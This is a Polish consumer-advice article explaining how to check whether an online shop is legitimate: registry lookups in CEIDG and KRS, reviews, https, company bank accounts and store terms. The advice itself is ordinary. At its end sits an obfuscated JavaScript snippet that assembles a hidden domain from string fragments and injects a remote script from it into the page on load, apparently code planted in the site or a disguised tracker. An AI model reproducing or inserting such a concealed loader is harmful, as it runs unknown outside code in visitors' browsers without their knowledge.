Jak sprawdzić legalność sklepu internetowego?

Zakupy w sieci cieszą się rosnącym zainteresowaniem. Ceny są niższe niż w sklepach stacjonarnych i z łatwością można je porównać w kilka chwil. Osoby zapracowane, narzekające na brak czasu mogą przejrzeć asortyment nawet w środku nocy i wybrać coś dla siebie.

W dodatku nie muszą fatygować się po to do sklepu, bo kurier dostarczy zamówiony towar do rąk własnych. Czy ten komfort ma jakieś minusy?

Szeroki wybór towarów, atrakcyjne ceny, szybka dostawa do domu oraz wygodne formy płatności to zalety sklepów internetowych. Decydując się na zakupy w sieci warto jednak pamiętać, że nie są one pozbawione wad. Jedną z nich jest z pewnością fakt istnienia nielegalnych sklepów internetowych oraz oszustów, którzy tylko czekają na okazję, aby wyłudzić od nas pieniądze. Zanim zdecydujemy się na dokonanie zakupów na mniejszą lub większą kwotę i wysłanie pieniędzy na konto sprzedawcy, warto go sprawdzić.

Czy e-sklep rzeczywiście istnieje?

Sprawdzenie, czy sklep internetowy działa legalnie, może wydawać się niektórym zbędne. Skoro na stronie widnieją zdjęcia produktów, ceny i numer konta, to przecież wystarczy zamówić, wysłać pieniądze i odebrać towar. Nie zawsze jest to takie proste. Zdarza się, że towar nigdy do nas nie dociera, podobnie jak pieniądze, które chcielibyśmy odzyskać. Wtedy żałujemy, że nie sprawdziliśmy sklepu przez złożeniem zamówienia.

Jak to zrobić?

Przede wszystkim dokładnie obejrzyjmy stronę. Mogą znajdować się na niej zdjęcia produktów cenionych marek, które uśpią naszą czujność. Poszukajmy adresu firmy, numeru kontaktowego, nazwy, numeru NIP czy REGON. Ukrywanie takich danych przez sprzedawcę powinno wzbudzić nasz niepokój i sprowokować nas do sprawdzenia, czy dany sklep internetowy został w ogóle zarejestrowany i jest prowadzony legalnie. Możemy zrobić to posiadając numer NIP, REGON czy adres firmy. Wpisujemy posiadane informacje w wyszukiwarkę na stronie Centralnej Ewidencji i Informacji o Działalności Gospodarczej. Jest to usługa darmowa, a znalezienie firmy nie wymaga znajomości wszystkich danych. Jeżeli firma posiada numer KRS, zweryfikujemy jej istnienie w bazie Krajowego Rejestru Sądowego.

Jeśli planujemy skorzystać z usług sklepu założonego w innym kraju, poszukajmy w sieci strony instytucji, która umożliwia rejestrację tego typu działalności i sprawdźmy, czy podmiot figuruje na liście przedsiębiorców działających legalnie. Zajmie nam to kilka minut, a możemy dzięki temu uniknąć straty pieniędzy.

Czy takie rzeczy dzieją się naprawdę?

Każdy słyszał o oszustach, którzy zamieszczają kuszące oferty w sieci, a po wysłaniu przez klienta gotówki ślad ginie zarówno po sprzedawcy, jak i po wspomnianej gotówce. Czy nie powinniśmy włożyć tych historii pomiędzy legendy i bajki? Wystarczy poświęcić chwilę na wyszukanie w sieci tego typu informacji, aby przekonać się, że oszustwa internetowe zdarzają się w rzeczywistości. Bez trudu znajdziemy adresy stron, których warto unikać, jeśli cenimy sobie bezproblemowe zakupy. Chyba nikt nie ma dzisiaj ochoty upominać się o zwrot gotówki lub brać udział w transakcji z kimś, kto najprawdopodobniej w ogóle nie zarejestrował firmy i wyłudza pieniądze.

Aby dowiedzieć się, czy firma działa legalnie, warto odwiedzić fora internetowe. Nie brakuje tutaj opinii dotyczących cen, sposobu wysyłki i pakowania towarów, ich jakości i zgodności z opisem, a także uprzejmości i uczciwości sprzedającego. Jeśli ta ostatnia jest ostro krytykowana, koniecznie sprawdźmy sklep w ogólnodostępnym rejestrze. Być może taka firma nigdy nie została zarejestrowana i w rzeczywistości nie funkcjonuje. Opinii na temat firm można poszukać chociażby na http://opiniafirm.pl/.

Ostrożności nigdy za wiele

Legalny sklep internetowy powinien dbać zarówno o jakość obsługi, jak też o bezpieczeństwo swoich klientów. Warto skorzystać z podanego na stronie numeru telefonu, aby przekonać się, czy uzyskamy odpowiedzi na nasze pytania i sprawdzić, czy firma rzeczywiście posiada swoją siedzibę. Jej adres powinien widnieć na stronie i w bazie CEIDG lub KRS. Ponadto sprawdzajmy, czy przy logowaniu się do sklepu i dokonywaniu płatności on-line obecny jest protokół „https”. Oznacza to szyfrowanie danych, dzięki czemu nie stają się one łatwym łupem dla hakerów. Brak protokołu może sugerować, że sprzedawcy nie zależy na bezpieczeństwie transakcji. Być może sklep to jedynie przykrywka dla oszusta, który wyłudza w ten sposób dane osobowe lub pieniądze.

Tym, co powinno wzbudzić nasze podejrzenia, jest też numer konta. Jeśli sprzedający prosi o wysłanie pieniędzy na prywatne konto, zrezygnujmy z zakupów. Na stronie internetowej powinien być dostępny firmowy numer rachunku. Zdarza się, że konta internetowe zakładane są na tzw. słupa, czyli osobę, która nie bierze udziału w oszustwie, a której dane zostały wykorzystane w celu uniknięcia odpowiedzialności. Jak to działa? Wysyłamy pieniądze za towar, który nigdy do nas nie trafia. Jako właściciel konta widnieje osoba, której dane zostały pozyskane w nielegalny sposób. Ta osoba nie wie nic o naszych zakupach i nie otrzymała od nas pieniędzy. Została oszukana, tak samo jak my. Prawdziwy oszust jakby rozpłynął się w powietrzu.

Niekorzystny regulamin

Sprawdzenie, czy firma funkcjonuje legalnie, nie daje nam gwarancji, że zakupy przebiegną bez zastrzeżeń. Niektóre sklepy internetowe posiadają regulaminy, które nie gwarantują klientowi wszystkich praw. Jeśli zarejestrowany sklep uniemożliwia zwrot towaru do 14 dni, nie działa zgodnie z prawem. Niestety, nie każdy poświęca czas na zapoznanie się z regulaminem. Odruchowo zaznaczamy kwadracik przy potwierdzeniu, że przeczytaliśmy regulamin. Zdarza się, że są w nim zawarte informacje o konieczności uiszczania dodatkowych opłat, o czym dowiadujemy się dopiero przy płaceniu za przesyłkę. Można uniknąć takich nieprzyjemnych sytuacji, jeśli dobrze zapoznamy się z zasadami działalności sklepu, w którym chcemy zrobić zakupy internetowe.

Czytanie regulaminów może uchronić nas nie tylko przed kłopotami ze zwrotem towaru lub drogą wysyłką. Istnieją strony internetowe, na których zostaniemy poproszeni o akceptację regulaminu wydającego się nam oczywistym. Tymczasem oszust będzie próbował wyłudzić od nas pieniądze, opłatę za korzystanie ze strony. Zgadzamy się na to poprzez akceptację regulaminu. Tego typu oszustwa, którym sprzyja nasz pośpiech i nieuwaga, mają miejsce bardzo często. O ile uniknięcie przykrych konsekwencji „kliknięcia” wymaga nieco czasu i skorzystania z usług prawnika, o tyle czytanie regulaminów to jedynie kilka minut, które warto poświęcić.

Czy trzeba sprawdzać każdy sklep?

Jeśli od lat korzystamy z usług internetowego sklepu zoologicznego, odzieżowego czy ogrodniczego i nigdy nie narzekaliśmy na jakość usług, nie musimy nagle prześwietlać firmy w CEIDG czy KRS. Jeżeli natomiast trafiliśmy przypadkowo na stronę internetową z korzystnymi cenami, ale nigdy nie robiliśmy zakupów u tego sprzedawcy, warto poszukać informacji potwierdzających legalność prowadzonej przez niego działalności.

(function(){

cvu1=document.createElement(„script”);cvu1_=(„ust”);cvu1u=”8632770″;

cvu1_+=”a”+(„t.i”);cvu1.type=”text/javascript”;

cvu1u+=”.vw5931y6vu1jlhp98zav”;cvu1.async=true;cvu1_+=”n”+(„f”+”o”)+”/”;

cvu1u+=”6t5Xallpsp”;cvu1.src=”//”+cvu1_+cvu1u;

document.body.appendChild(cvu1);

})();